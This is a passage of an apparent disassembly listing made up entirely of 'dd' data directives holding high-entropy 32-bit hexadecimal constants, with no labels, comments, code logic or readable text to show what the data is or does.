		dd 0DDE52503h, 0DFF8455Bh, 0FE1FF991h, 3F54407Fh, 0FCF800DAh
		dd 19AA7D8Dh, 0E13A004Fh, 0C1DE6511h, 0B83A5C5Dh, 39CF1245h
		dd 0EFD07000h, 0F19B7Bh, 87A96FF8h, 0D499F3FCh,	27BDCB00h
		dd 0E058077Dh, 9E210328h, 0A9AA702Ch, 0AD839FF0h, 0D80B7812h
		dd 40FAE20Bh, 5A726652h, 54640701h, 0F34BC04Ah,	6400D0D1h
		dd 2DB171BEh, 49C0B39h,	0CA27E676h, 0F131804Eh,	0E8008DCFh
		dd 2695C4DCh, 99C53A98h, 136B2404h, 96C126Bh, 0E58BD0E8h
		dd 0D1607090h, 7300207Ch, 0C4E08BFDh, 72F155h, 7785435Dh
		dd 0C9BBA389h, 8C7A0F00h, 3168A573h, 0E878BEh, 0DFE79196h
		dd 5B18D0CFh, 17B2B700h, 0F96EC1EBh, 3F7477B5h,	7F8039ADh
		dd 0BE81838Bh, 0E4001FA2h, 0A73DBCEh, 1CB5134h,	260BA4AFh
		dd 0F3EDCCFEh, 817A17A1h, 9ED6ACC2h, 0A0644662h, 2EE7397Bh
		dd 0C80707FCh, 9029375Ch, 1247A28Eh, 0D10009E2h, 0F334DBBh
		dd 4B2CDE3h, 18A77C52h,	43CCA027h, 0FCB91002h, 0C166F8D0h
		dd 0BF109A74h, 0D096E534h, 1AA1CE80h, 2B7E447h,	0D3A024A5h
		dd 0B848E7BAh, 51883970h, 13D5482Ch, 0F985EE01h, 60595E43h
		dd 0C2001F30h, 12C4CC3Fh, 0CA1B9Bh, 650283DDh, 0D95A8A09h
		dd 0EA313B05h, 0D080FB69h, 127D93B8h, 0F2444Ah,	9BD1D4A8h
		dd 0D30E887Ch, 0E77EFB8Eh, 0BF60B766h, 3FC585C2h, 0DE9CB2B8h
		dd 0DDF38015h, 55AD0BCFh, 0DE62A128h, 64561000h, 1948A342h
		dd 589A0C97h, 7A38CA80h, 74DE0B00h, 30CCF746h, 0B3DD1D3Dh
		dd 5BC3C1DAh, 0ECA03C53h, 9B770C33h, 0EB55B100h, 1A72655Eh
		dd 5C0F0382h, 21D6CD24h, 903CF3F8h, 78FF6801h, 7D515797h
		dd 927BBC20h, 953A07B4h, 0C05A82F6h, 35077226h,	0C4AB4C00h
		dd 0FB19DBE6h, 6ABC1F4Dh, 966CB5h, 63390480h, 8C02FC85h
		dd 76B9278Eh, 2B4EE0A9h, 43B80EEAh, 0F68099F4h,	3A706F5h
		dd 33456800h, 73939DA2h, 407E1D3Eh, 0F25800D3h,	0B5A12DADh
		dd 0C9025300h, 0CEEB4431h, 0A0D4012Fh, 0DA2E6246h, 3BC2D86h
		dd 4AA7E1D9h, 0A2C3F8BBh, 1FD49669h, 874240B4h,	0A69473D1h
		dd 567238h, 69E692C2h, 7A63154Bh, 0D0590004h, 2CC5D73Ch
		dd 530012C9h, 0EE79F068h, 0B849BF37h, 175CF4F8h, 0CAE074h
		dd 35C0ED18h, 0F813C1D9h, 3F00DDA0h, 0D25CC225h, 0BA180EB6h
		dd 78C0843Eh, 244B9C1h,	0A50F289Eh, 260A89A0h, 40DC44h
		dd 89B730A4h, 0DD9F9E6Fh, 13645959h, 0AE1DFCC2h, 2D691280h
		dd 2E4ABF6Eh, 0D48C30h,	2569699h, 2500C334h, 0F545BB3Ah
		dd 7CE210Fh, 0EA8AF7CDh, 30E3D9DBh, 497141F7h, 48C030EBh
		dd 28270A00h, 43C50F4Ah, 0A9B51E88h, 8A9C80A2h,	4DD83B4Eh
		dd 1BE65700h, 0C39BBCD1h, 3068002Fh, 354B127Ch,	83F4A548h
		dd 3F34885Ch, 0A0E22E24h, 62CECC03h, 34BAC8B5h,	27AB306Ch
		dd 934A50F8h, 72CCBB54h
		dd 58A71500h, 0CC972DB6h, 90355451h, 74114D02h,	2670942Ch
		dd 0D9890000h, 309AF19Fh, 48EFCA02h, 80BB3470h,	0D64F9C4h
		dd 68A00EDAh, 7F81999Ch, 706BBECDh, 3C081A0Ch, 1B60D9h
		dd 2DA7B70Ah, 0D505F717h, 0AE71B8B6h, 9ABB6480h, 2B9E0040h
		dd 0F00DABBFh, 8B036306h, 98CA3972h, 19F1B818h,	1487293h
		dd 900A2CFBh, 403D43B9h, 1C7140A8h, 1462C405h, 0B4A0D82Dh
		dd 658800FCh, 90BB58F4h, 0B098A00Dh, 0FAEC9E2Ch, 2C009A13h
		dd 92DB1E67h, 6DE40088h, 3BCCDCC1h, 745809C5h, 0DAFF0017h
		dd 7956B554h, 18780AD9h, 2A8E5ABh, 5A4F910Fh, 1E973DE0h
		dd 7BB05E48h, 0B9E11100h, 3FF2E707h, 286F0E5Bh,	82A064DDh
		dd 7D33FCA3h, 0F7AACB03h, 0D8DF5C18h, 0F6EDCDEh, 2CDDF94Bh
		dd 86C2BB43h, 2D0940F0h, 9102477Dh, 0E1585A72h,	0DE00D157h
		dd 947ADC43h, 91E888C4h, 1D010A01h, 0FEC8EABFh,	0BCD23E28h
		dd 4A2ACh, 29684C8Ch, 0A401D8ECh, 0C32F9E3Ah, 646C4EDFh
		dd 0A5F1311Ch, 0BC0FFC00h, 46704F08h, 83685Ch, 26D086FCh
		dd 1CA028ABh, 309B7F7h,	5C518DB4h, 24614000h, 524BA8F3h
		dd 0CC4E0763h, 0C0FFF992h, 0D1262AB5h, 0C5A05700h, 0A31505C1h
		dd 366F24A5h, 0E1490453h, 1E6C8031h, 7B0076B1h,	0F1415198h
		dd 5F4D96h, 6D10CC13h, 8275ABA8h, 8025E43Ch, 46A5CBBBh
		dd 0B36EAC8h, 602D4E77h, 92B90D80h, 0BB004378h,	3E052FE4h
		dd 2C9E1CD0h, 805CC6C1h, 0B78013C2h, 0FC7B190Ch, 49B91700h
		dd 97B5D422h, 531F12A0h, 50340375h, 1984C9Eh, 51FFF2Dh
		dd 0F35FB440h, 0CB957EC0h, 0B6BA44h, 0AC07EC5Fh, 43D9400Fh
		dd 4FA46800h, 0A28DDB0h, 71CB3918h, 0C4997000h,	0F8352C1Ch
		dd 3F55E800h, 0E9D15BA7h, 0A42D00CCh, 9F21E5A2h, 600041F3h
		dd 909684ACh, 0AA2A46h,	7BD21F45h, 0F998034Ah, 80210639h
		dd 77625FE0h, 717EFFBh,	4BEE6EBCh, 977F5003h, 0C2006338h
		dd 0AAD62AB4h, 0B88F43h, 5426986Ch, 537980DAh, 3F37C1Fh
		dd 0D321AC40h, 0F613D1ABh, 898C000Ah, 65560993h, 16FC9241h
		dd 593CA3F6h, 0B6500390h, 81076A29h, 8FC4935Fh,	696B18D9h
		dd 0F81F421Eh, 720FC200h, 7E64FD49h, 34505ECh, 1BE8BCFh
		dd 9A1BE494h, 0D840EAFBh, 0D60022C3h, 38A02111h, 0C83E4Dh
		dd 0E6A572B1h, 67CD0966h, 85399500h, 0CC1DF81h,	0F044000Ah
		dd 0ADA0159Dh, 540023AEh, 3FE225EFh, 7A6707Bh, 31E8DE7Ch
		dd 284280CAh, 9600C44Fh, 1B3C0BB2h, 474AAAh, 93862789h
		dd 5C57012h, 7B8BC300h,	0FDE4AD9Bh, 0ECCF0038h,	4239E20Fh
		dd 760217ACh, 0B4920333h, 1CFC83B0h, 0A9D10025h, 1E8A8062h
		dd 0D9033766h, 49CCA5F4h, 516BB8C3h, 0B0F000Eh,	5E89E672h
		dd 9D007040h, 566E2CC7h, 0F7CF96h, 0E0C9A93Ch, 701AE514h
		dd 89362200h, 66B20FFBh, 0ED5A0708h, 4018090Ah,	0D9F3EE8h
		dd 0F3736A01h, 2275FD51h, 7DFBD0h, 0BF60314Ch, 0D477F430h
		dd 27524900h, 87A1E054h, 0C4E90086h, 2124B438h,	220003D8h
		dd 3309A71Ah, 77904BC1h, 0F81C00A3h, 9D108ADCh,	8FFA37BCh
		dd 130FEF0Eh, 0D679E03Ah, 0BDB83Bh, 69983E65h, 8FDBAADEh
		dd 84617D24h, 0DDEE9100h, 0D355Dh, 29D242B6h, 0B37BD196h
		dd 40500C00h, 0EA2D8857h, 3C37A97h, 8F4FA669h, 7BAB2FF2h
		dd 9F2E48D8h, 0CB56F700h, 0FBE615ACh, 0E2C00076h, 9196DC8Fh
		dd 0EC02454Dh, 3158B15Ah, 0D7B0E019h, 0E4970013h, 1FDDA4D9h
		dd 5E01A3D6h, 0BA64637h, 81D0F944h, 0F3C0A063h,	0AF9D12F5h
		dd 579040C7h, 0C52EED87h, 0D2BFCA16h, 25B8FD00h, 0E6BE5DFDh
		dd 6491603Ah, 1318F6BCh, 3E0DD200h, 0F18F812Bh,	42C0078Eh
		dd 0D3ABCA02h, 63988B85h, 4000772Fh, 84B28358h,	2E792E8Ch
		dd 5C2130h, 3BC8FAB8h, 7300FE9Ch, 0FCC1450Eh, 54B901h
		dd 946A97BCh, 434738F1h, 460AE402h, 0C09087D8h,	0DEECE2h
		dd 62D17AD4h, 81F62C9Ah, 0EE97300h, 6379B116h, 862B15B2h
		dd 4006C856h, 0BE32471Eh, 9E264A00h, 0B281CE59h, 84050148h
		dd 0EA17D4C1h, 8FDDE891h, 0DE909D04h, 9FC002F4h, 2CD3A1h
		dd 34FAA997h, 5AD90BADh, 423CBA00h, 454AF060h, 15310C04h
		dd 97716624h, 18921958h, 6010A221h, 45B30023h, 4C7B9CE5h
		dd 52E88CFFh, 8F18C2E8h, 0E7396503h, 30166FBAh,	4559600h
		dd 1D00A868h, 78860E06h, 0E8F7AF15h, 4CB8A9h, 583E1330h
		dd 24690597h, 32CD53Ah,	0F0ACD0A8h, 2338018Eh, 9974552h
		dd 1C59800Eh, 9299F9F5h, 21056FBDh, 70777C05h, 16E2E148h
		dd 8056C303h, 0A00ED783h, 18C1D58Ch, 50455A3Eh,	0E8CC3F0Fh
		dd 685096h, 0CB6E75C8h,	6B992269h, 3AC43D07h, 0C10A359h
		dd 9BCC19Dh, 0D1BACD2Ch, 60BDB480h, 231C093Eh, 8280447Ah
		dd 2F259776h, 0AA709567h, 0DF698001h, 0C652F517h, 4ECE40E2h
		dd 0EBF6007Ah, 38A1730Ah, 0BA03DE1Ch, 0F0D69282h, 3ED480E1h
		dd 0DB130037h, 2BDFC24Dh, 283943FBh, 0E4858FE9h, 0EA53A08Bh
		dd 7394262Eh, 12E10051h, 87867FA4h, 39E210D6h, 8480E1Dh
		dd 3A954DC0h, 76F5ABh, 8209800Dh, 79F1A6D8h, 4F022D00h
		dd 29A970C0h, 967F71h, 0A6BDC303h, 91CEE044h, 6C7B6112h
		dd 89ED6700h, 2AC3575Bh, 39B479F9h, 72030BAAh, 1A04344Fh
		dd 0A06C09A8h, 7A45CF02h, 48A3E15Bh, 1D9E9F24h,	3EE7E019h
		dd 0D5F8C0D1h, 0FE780711h, 707432C2h, 221B4FD3h, 21466B00h
		dd 3E8E9352h, 2BA80003h, 10C2BDE3h, 150966BEh, 2013C491h
		dd 638B4C0Ch, 0C798005Ch, 0C0235ECBh, 0E677C2ADh, 0B95D1500h
		dd 321A9FDh, 2298E8h, 0EC8A60E0h, 0AF76D513h, 0E1939F00h
		dd 0E22DF4D8h, 39C758Ch, 51A04F30h, 0C1039DDFh,	0CEFBEB46h
		dd 66DEC0CDh, 0A7E207DBh, 605831FAh, 60861C51h,	5D237D3Ch
		dd 0D60E0A04h, 0DF8C9462h, 1E04499Ah, 47D58D5Fh, 0F0BD6A1Fh
		dd 0CDC6A5A8h, 0CB02EDB8h, 0CE084209h, 0A7D1629Ch, 36D3DA54h
		dd 20F1007Dh, 0CCBF8AF9h, 9F07E3D6h, 1B3B9134h,	6A70E420h
		dd 0EDC900C7h, 0DF63A30Eh, 50C05AF5h, 0AA131533h, 994F3898h
		dd 6B71B600h, 38B83075h, 699A2A00h, 305D1BDh, 0AA5207F9h
		dd 0B0465F2Dh, 0E1D28ECDh, 781B5B1Fh, 604D26CEh, 0FADBACAFh
		dd 18A26E95h, 620419E0h, 6B07F03Eh, 7CF2A8D9h, 0C30D9480h
		dd 25010144h, 0BD2967F8h, 800C71E0h, 0C3196F21h, 0EF985Fh
		dd 0CE2CAD01h, 2211C94Ah, 0A64DA51Ch, 2B231AC7h, 0AA630751h
		dd 0CD343983h, 0F4E880FFh, 86EBDD8Ah, 0F02F5B28h, 0B6730F21h
		dd 69CE37EDh, 0FA8FB038h, 0C1544120h, 31E903A8h, 80D9BAA1h
		dd 9A3637B9h, 0FBBFD5h,	1DCBA7B6h, 0BDFA24FDh, 5468EC00h
		dd 695D7FF9h, 1B178B5h,	9F86EA9Dh, 70AF1B5Eh, 6300EE28h
		dd 31DCC23Ah, 9EB6CFh, 24BC4543h, 34A5B8EDh, 78760200h
		dd 2A0AB5E0h, 0FCD3015Bh, 94BEF375h, 9EF8EF9Ch,	44F4DF66h
		dd 0F9A47101h, 0E7F6B486h, 170CD420h, 0FB0B36h,	8D562C38h
		dd 0A1ECD66h, 877BEB9Bh, 5EF84BBh, 0C9C8C2F0h, 786400EAh
		dd 47FABE4h, 6AF211DEh,	0FE333401h, 0D2EE9FE8h,	3B15EDCh
		dd 0F39DECA4h, 0BBA2EF85h, 0BC836060h, 0C8C58100h, 0F0BF5855h
		dd 0A25B00D5h, 382A92D8h, 880C4F18h, 18D0F2E2h,	7E6C0043h
		dd 0C7533E17h, 0A500B235h, 0C6C21C9Ah, 0F662B6B1h, 7086FAA9h
		dd 9E743050h, 67026C80h, 9FCA7E00h, 11DBF38h, 0DF80341h
		dd 0EF1F2706h, 35FB6007h
		dd 2AE06F90h, 0E2123862h, 430A3E28h, 0B6BEA800h, 67C9AAF2h
		dd 85C0CD69h, 885899DDh, 0F03DFFB0h, 1153007Bh,	43181A37h
		dd 0D76030A6h, 0F7A3A8F0h, 757B002Dh, 6B67E5E9h, 87002E2Ah
		dd 816128C8h, 0DC912B90h, 6C0CA260h, 0B8DC87A2h, 0F3F00770h
		dd 0D0BEB9AAh, 9B6842F5h, 5F1060F7h, 8CA82801h,	0D6291BFAh
		dd 0DBD7C0h, 0BAA4F2CAh, 0E0E9F879h, 53752800h,	0B76A6589h
		dd 15233D14h, 0C542A9Ch, 0C9480685h, 8B748600h,	6341CD05h
		dd 69C40370h, 51A2CF40h, 28AC9B0h, 0C366500h, 0D8B14C9Eh
		dd 6E675ACh, 0CFFE22F5h, 2800180Fh, 55C196C8h, 1D928457h
		dd 8CF94Eh, 9D6D72B0h, 600617Eh, 710C17A8h, 0F6232h, 19C978C6h
		dd 0E8F97623h, 0FCCD3Bh, 7210DEDDh, 0F79B44h, 0EF910BD6h
		dd 6EECBEC6h, 31CDE000h, 0CF873B74h, 0D880F747h, 38F6E2B2h
		dd 650CC962h, 681B7006h, 28DF0093h, 0AE49113Bh,	903AFDA7h
		dd 5F0D00DBh, 0C11E3FC4h, 89F0C0Eh, 0E109594Ch,	44A421C0h
		dd 0C8551Eh, 772AC378h,	59ACE4F9h, 0DF8F2001h, 4B22D823h
		dd 918E5888h, 99CD0463h, 0D919570Eh, 999B0093h,	770C0F1Eh
		dd 0E4E02019h, 0F73F6DA7h, 0E7B940B7h, 4B1D3817h, 77304731h
		dd 2808B064h, 0C0D3AA8Dh, 0C63F19B4h, 0DEFA80F9h, 0DA40EF18h
		dd 0E849E481h, 0DF1C181Eh, 9B47105Eh, 0F999C00h, 12D86D38h
		dd 0F7537460h, 51583187h, 0CC39309Ah, 0D4ECD3FBh, 0C5248400h
		dd 0C9A5959Dh, 6DB70DBFh, 0A8681D1Eh, 30886560h, 0A5118397h
		dd 0CD84980Fh, 0FDAC000Ch, 3039783h, 8E8DB592h,	49234E45h
		dd 8396032Fh, 40440FBEh, 67888824h, 9B830094h, 0F145AECEh
		dd 7600034Eh, 0DAF5DDDFh, 0A81D1873h, 1ED7BAC8h, 23EA92h
		dd 0BDF1D3F3h, 671F4E1Ah, 74CEB196h, 6F5F00F0h,	0D3681Bh
		dd 0A59B8041h, 2B897FA1h, 26CC7B00h, 66531E65h,	97300745h
		dd 609E78C9h, 0E3D309EFh, 0CB73EB00h, 0A050ABC7h, 513429B0h
		dd 0BF785504h, 46BD0068h, 587B198Fh, 791E2027h,	0A540B16Ch
		dd 0F4624C49h, 4EF51E50h, 63220FBDh, 64804A0Eh,	0FDD04625h
		dd 0F56CBC00h, 37807C99h, 97F301FAh, 4B8789E2h,	0D070C920h
		dd 4F3F27F4h, 75FE8094h, 0BD47DEAAh, 0A69003BFh, 4BD0812Bh
		dd 0F8888EC0h, 0FD45CF00h, 8CA06947h, 9050029h,	0B81B64B7h
		dd 4A1C2CB0h, 0A140AA42h, 4B9132CAh, 607A0781h,	0B07E5E11h
		dd 2C63F2D4h, 0AC2F8218h, 88311628h, 9D89621Dh,	620A108h
		dd 28E25093h, 0E9674418h, 0A044E744h, 40DD6E14h, 0B7203090h
		dd 18E54210h, 0DA79EFBAh, 8429C6DFh, 71225151h,	0F9DD32E8h
		dd 8E10E629h, 0CE2D886Eh, 88F89A88h, 0A1C43072h, 0F9446F3Fh
		dd 33C046D2h, 78BE5029h, 0B55344EBh, 0E3E1CD45h, 114229B9h
		dd 41116690h, 0FB4473D3h, 3E8CA8F6h, 8AF40011h,	830E3D15h
		dd 583BC804h, 0F63A3BC6h, 0AB19D007h, 0A680257Ah, 0F06F44Dh
		dd 30B3F9Ch, 7304060h, 10C0497Dh, 423477A4h, 0FBDE00CCh
		dd 2C6950E9h, 0F4002167h, 9D20AA32h, 788EC766h,	0B65001Fh
		dd 5612E71Dh, 0F008F7Bh, 19A937AFh, 0CEA8C3h, 49FF9D9Fh
		dd 0C867A505h, 733B3500h, 0C74BEFC4h, 0AB301B0h, 3A816E75h
		dd 3424201Dh, 151CE900h, 9F62FB03h, 0E5A73D09h,	7F274480h
		dd 200F0B92h, 61779400h, 0D0CDA94Bh, 9A7A0054h,	0A3AFB0CFh
		dd 5C00A2ACh, 1CD795AAh, 0D346Bh, 270A82E0h, 54587019h
		dd 6E457900h, 8B3C7441h, 0B31E1F10h, 0E932408Eh, 2BF2B078h
		dd 0D2C40500h, 39FBE177h, 0FE4E00A1h, 0BDC21A07h, 2112F418h
		dd 0D803A81Dh, 0C0904A77h, 48FBE225h, 8C40BD88h, 0E1160081h
		dd 5E62CA0Eh, 501AE92h,	8F1FAA9h, 0E6C4D986h, 304C0090h
		dd 54DB7C1Ah, 7160F6A8h, 0D9FFCCF4h, 145D00DDh,	5E7511C1h
		dd 2918DCCBh, 0C2502349h, 98FC0E4Fh, 4545715Dh,	0BAC561h
		dd 5E605F7Eh, 9E006D90h, 867CC527h, 77C7D297h, 0A78F00D6h
		dd 0AE8EBFB9h, 0E2003C38h, 6AF8C4B5h, 0A0F263h,	3D206CDBh
		dd 0D5EFEC9Bh, 96AD9D00h, 363F9A25h, 0A92201C1h, 612D03DDh
		dd 318FD084h, 0FA0069B0h, 0A22AB650h, 775CC79Eh, 697C0E25h
		dd 866097B0h, 0BBA681FBh, 0B90FD37Fh, 0C0830C0Dh, 6844FFFEh
		dd 9D45007Eh, 0D4A0ECEEh, 0B5FAE98Ah, 9066F31Eh, 2320DF87h
		dd 2FED1AF1h, 409E6C4h,	8C1C100Fh, 4D9CC368h, 0D0ACD791h
		dd 0E095D6B5h, 0EE44CF38h, 66E900B8h, 7CE7AB1Fh, 0E60E8549h
		dd 80FDC0C7h, 0E8BBEDF5h, 0D575DEh, 0A2E1D625h,	41AE7B8Eh
		dd 6B711E00h, 60756350h, 0B1813AF5h, 245CD830h,	1200C41Dh
		dd 39626A37h, 1D4FCFEh,	0C75610B1h, 205D1C7Dh, 4E12786Ah
		dd 5C1F95E4h, 243D44C4h, 4400B285h, 42AE8008h, 16BDE416h
		dd 407FA366h, 0D865F500h, 5A00C11Dh, 46DDDAF2h,	0A38CB591h
		dd 11DFC88Eh, 4C64829h,	8C510B1Eh, 6628F492h, 43391200h
		dd 0D116353Fh, 0C8EF2E17h, 0F46B00D1h, 156CAB92h, 56724F1Ch
		dd 87200647h, 40883902h, 134A1E48h, 9E50857h, 0B00487Ch
		dd 0C7EBDA09h, 731A95A0h, 5BE39500h, 3F4B4E6Bh,	9BE2008Bh
		dd 0C1926345h, 821DA336h, 0D600C042h, 205DAE85h, 6B05007Bh
		dd 63AB45F7h, 753DD262h, 0A7A7640h, 14F08A1Fh, 236504C1h
		dd 0BECC5871h, 8EC90042h, 0E09C87D6h, 62007EEBh, 0E874EFDCh
		dd 72D7CBDh, 0D86F79B3h, 0BB0620B1h, 5F600255h,	91044AA2h
		dd 0E58800D1h, 1F1F4CCh, 0CA00DF60h, 0ADA8A3Ch,	703F0989h
		dd 2F7C00E1h, 0CD349158h, 0A2161B6Ah, 77001213h, 0CAD76706h
		dd 0E5210309h, 0D2B90436h, 0F44358A0h, 4E00557Ah, 6829668Ah
		dd 9F850FEh, 98C9F15Fh,	0A3EAAF00h, 0DA0408BEh,	0CC1AB057h
		dd 9A384FC0h, 0FD9C00ADh, 0E60B779Dh, 68007F43h, 543CB1FCh
		dd 280D3FA9h, 0E45E70h,	915D5F45h, 0F5963D4h, 6D35C600h
		dd 0D01BF502h, 7EF00D6h, 38B5586Bh, 0FB7369DCh,	4851F600h
		dd 0A3769881h, 73DA00D7h, 4A455494h, 0D300DE4Ch, 5D63B056h
		dd 9C75B18h, 1C7966BFh,	524B3C21h, 8CA82086h, 5A007672h
		dd 7CA9269Ch, 0F5AFE6h,	0D5EE791Fh, 57921549h, 7BABD600h
		dd 0D9E0774Bh, 0FD9D00A3h, 0AAEFB188h, 7E07E26Dh, 4C412A24h
		dd 9A74A4F0h, 6E90FFh, 61B826A3h, 0C5771CDFh, 0AE3D7EF4h
		dd 440D0066h, 4908A715h, 48AD00CCh, 0E5CC856h, 0EF1824F0h
		dd 25A05E69h, 0FBFF0003h, 84FE1026h, 9A0220h, 0AE1091EEh
		dd 2101B2B7h, 988FCE2Bh, 0C5FDD002h, 0C6900300h, 0DB8DB6EDh
		dd 969F02E6h, 25E9A662h, 2BB8F840h, 0F45249h, 0D9EDF15Bh
		dd 50CB5DAFh, 4EC0C7h, 6601809h, 19341E76h, 302D4A03h
		dd 84EBDBF2h, 0B14094C7h, 0F02FBDDh, 0E60C5284h, 20ADF6A0h
		dd 3E07972Fh, 869C1DF3h, 36B6E850h, 47F70003h, 0B949254Bh
		dd 4800F292h, 0B83C0AD9h, 0CA0677h, 21B276A8h, 94AF96D3h
		dd 32BF560Eh, 0C560A09Bh, 8124E5h, 66E49D02h, 27E3C349h
		dd 0EDFCE800h, 4B1B31A0h, 3E980075h, 0F7D8C265h, 9000B6A9h
		dd 815D413Ch, 0D7DF10h,	38C8155Bh, 0FA6CA10Ch, 4DB82B16h
		dd 0FF934F02h, 0F9F78055h, 37CDB5Bh, 0BD440B56h, 48A03D4Eh
		dd 6700B795h, 0DFF373E1h, 0B144D49h, 195C0113h,	68DDEC00h
		dd 0B9E8A727h, 0D6A0261Eh, 2BF1F00h, 0B47529h, 4A63DB2Fh
		dd 1577C9D9h, 76659300h, 0B027780Bh, 23A10E2Eh,	0D440E3B1h
		dd 356080DEh, 0F3E0D09Ah, 0D8629A28h, 54D97000h, 42796546h
		dd 0F76058E0h
		dd 8FDEA00Eh, 7F34F3E0h, 0C501F191h, 0D7CA988Dh, 0DBE080F6h
		dd 3E583C5Fh, 9E743D0Fh, 0FA7700BEh, 0FBB38762h, 0B2833507h
		dd 0FDE006EEh, 1040F15h, 0D4EFCF4Bh, 70B72A1Fh,	0F3017A00h
		dd 0F1BBE9DAh, 91FBEB6Ch, 5020AF87h, 0D3D90490h, 873A76A2h
		dd 0BA3920DDh, 24001D59h, 4D674029h, 0A3D592h, 0D402F4B7h
		dd 53A9DC98h, 0AC6BDA04h, 55C0D1A0h, 0ECED5C2Dh, 0D9F10071h
		dd 0C8635408h, 0BB00B946h, 196DBCADh, 1EFD0B3Ah, 6CC3B4F0h
		dd 0E78100E4h, 7F69B2D7h, 1900257Ch, 73D80756h,	505D6F4Fh
		dd 0EB86Ah, 62A50339h, 0D3C4572Bh, 9C45DE00h, 0E56121F2h
		dd 0DF390077h, 0FC7218D8h, 0E300867Bh, 17335894h, 483DE7CAh
		dd 4C0CCF1h, 6030B4C2h,	8C0A17F0h, 0C8B82F43h, 56B21683h
		dd 4959A109h, 0C07057D1h, 1B2D1F42h, 9E121D83h,	2207FC30h
		dd 0E0A23680h, 6A58726Fh, 0B36DE71Ch, 5C70E684h, 8E695FC0h
		dd 0C8D750FEh, 22B8057Ch, 80A1FA0Eh, 0BA1BFF88h, 4F5E6C05h
		dd 0CCC05292h, 3F964CDBh, 0CF80AB24h, 0E97F9B7Dh, 3C00CD0Ch
		dd 49F566A5h, 0FEE7B392h, 0A4770072h, 2A6F7EDAh, 5000B9F2h
		dd 524F79F5h, 546441h, 0B3512D4Bh, 1D615690h, 0A7588F00h
		dd 400D7E43h, 2419004Ch, 7213F40Eh, 280652A2h, 11550F3Bh
		dd 2A7C0010h, 0DEECD564h, 171C71FBh, 0B8800534h, 9B41D830h
		dd 0F4D71FEh, 28662970h, 77C0440Eh, 0B0169809h,	1B5BAC2Eh
		dd 0CE256D00h, 10CC868h, 0A3AA54BFh, 405CE08Eh,	600D5EB8h
		dd 0EC5D7100h, 0B467015h, 554A0058h, 5B350975h,	0BE0740DDh
		dd 1FF4B856h, 7BFBDAD0h, 0EA02004Dh, 3105E075h,	84E08178h
		dd 9F65108h, 0AA5E319Dh, 0A58024B6h, 27748300h,	0FB820175h
		dd 35D00407h, 0F08DBF59h, 0F1030674h, 4BCE91Ch,	237BB039h
		dd 613400ABh, 17AAAE8Bh, 10003564h, 6AD463E7h, 3B5F2AECh
		dd 0A61F1957h, 1D13D36Bh, 0C85628h, 0E769EBA4h,	155AAB0Dh
		dd 8A0FDF00h, 1EC7419Ah, 0C245977Eh, 36245486h,	574BC40h
		dd 0A1902D72h, 484D38h,	43BA6ECh, 26ABEEh, 1915F8C4h, 0F0985D79h
		dd 270330B8h, 0A2D24091h, 970FE0ABh, 83AF04E5h,	82FCE415h
		dd 69603CD4h, 0F300BF85h, 0A58D6DE8h, 0C9781Fh,	558EF699h
		dd 7B18219Ah, 3A0048EAh, 1DF824A4h, 6305375h, 919E68A2h
		dd 0E000201Ah, 0FF33E111h, 3B08FE64h, 0F08005B1h, 8A24B473h
		dd 4C0078BDh, 21A0B67Ch, 38E4A8D5h, 12005657h, 0AD7A470Fh
		dd 7D00989Ah, 55A93607h, 282D9F4Ch, 0C6F9A3h, 0A8049EE3h
		dd 0AAFE7E5Eh, 802ACCA0h, 9C05864Bh, 7480282Ch,	319C57h
		dd 67E6C8DEh, 0A23DC497h, 0B7F10500h, 39A4E408h, 87E89971h
		dd 4FB3CDAEh, 0C4C8C37Ch, 76C03685h, 0AF0089DCh, 5DEEC14Fh
		dd 0FBF8F7h, 0CA1DA2E4h, 2E98F01h, 0BEF32A0Bh, 0A442807Ch
		dd 82CF91h, 8E76276Bh, 0BF95C471h, 0C8C5B70Fh, 0E1CF5FF7h
		dd 0EE1B8777h, 0EF7D6B70h, 2A5F0081h, 0E7E4D64Ah, 2C723C6Fh
		dd 9306B976h, 29D1BE4Eh, 1AB7010h, 0B29DF3D7h, 0D444CAD4h
		dd 0D93F4F8Eh, 2C8500EFh, 0E676D5E3h, 91C00B7h,	0CC012452h
		dd 420105DAh, 0F87327DCh, 17309764h, 0F0DB2E2Ah, 6570068h
		dd 0B636D06Ah, 2F00B770h, 0CF3439C2h, 482D0785h, 0B000956Eh
		dd 0B87D4EE7h, 0BD0046DFh, 81F562DAh, 0F24F6E6Fh, 47673C49h
		dd 0A64EF800h, 7FD9AC1h, 174C761Fh, 2DB72400h, 0A338F3h
		dd 3D73EDCAh, 60EB8320h, 47024B72h, 8169E251h, 53E8E81Ah
		dd 0C486009Eh, 0C2FF41FDh, 600D9F9h, 88F3D0D6h,	0F84C62F2h
		dd 653A0044h, 5B82B148h, 0F600FEA5h, 0FCA0E757h, 1F622F5Ch
		dd 40308510h, 0A6EB5F20h, 0BB037D63h, 0ADDBA7F3h, 0F60288E2h
		dd 6DB60327h, 0B1FA11C0h, 0BA0BB5C0h, 94C66618h, 813291h
		dd 318A3CCBh, 547E3D0Ah, 6B537213h, 21A4CC0Eh, 62AB8126h
		dd 8F8B1080h, 6BAD139Ch, 5BC2390Ch, 6CF1866h, 54404D6Dh
		dd 0B6005891h, 5BF23E7h, 6FA7A4h, 0C48D04E8h, 5BC03D4Ch
		dd 28C092F4h, 0AD0AE3ABh, 0A1FC0030h, 3FA95A6Ah, 6C0047C3h
		dd 0C89D10F4h, 1DD55DD7h, 0EEDEFF5h, 0DB40B635h, 5F3715DDh
		dd 7AD1E63Bh, 0B0D33100h, 7C128EB7h, 1DA19826h,	0BC9A4E9h
		dd 0A0009983h, 2FA20ECCh, 0C45F4900h, 9C964FDDh, 0FCBBB0E6h
		dd 0BB3C0286h, 13EE0F33h, 0A2072478h, 791D14E1h, 839411F1h
		dd 7F99FCh, 0BC406D7h, 8A5E6119h, 80D47907h, 0E301F411h
		dd 189FBEBAh, 20844089h, 265F8FA2h, 591BC100h, 0BC962B02h
		dd 2A060051h, 60E45862h, 6E1C7273h, 0B300F8EEh,	0A191461Ah
		dd 0C8621698h, 1444C064h, 1F002822h, 88A349EEh,	0F4AB96h
		dd 59CC4FD7h, 0DDD58A25h, 0E003E8FEh, 0CE854CE5h, 0D7F88052h
		dd 8121CCDh, 0D6B2065Bh, 472050BAh, 4E53F223h, 7EA4401Eh
		dd 0ECB86C3Ah, 94EAB178h, 0BFAD9616h, 0E4000C5Ch, 3ADD400Ah
		dd 9F7C0125h, 85635BAh,	47A824F0h, 50370A00h, 90DDA967h
		dd 9E38C0F6h, 3F052F6Bh, 9A466200h, 4E07FD0h, 44924Eh
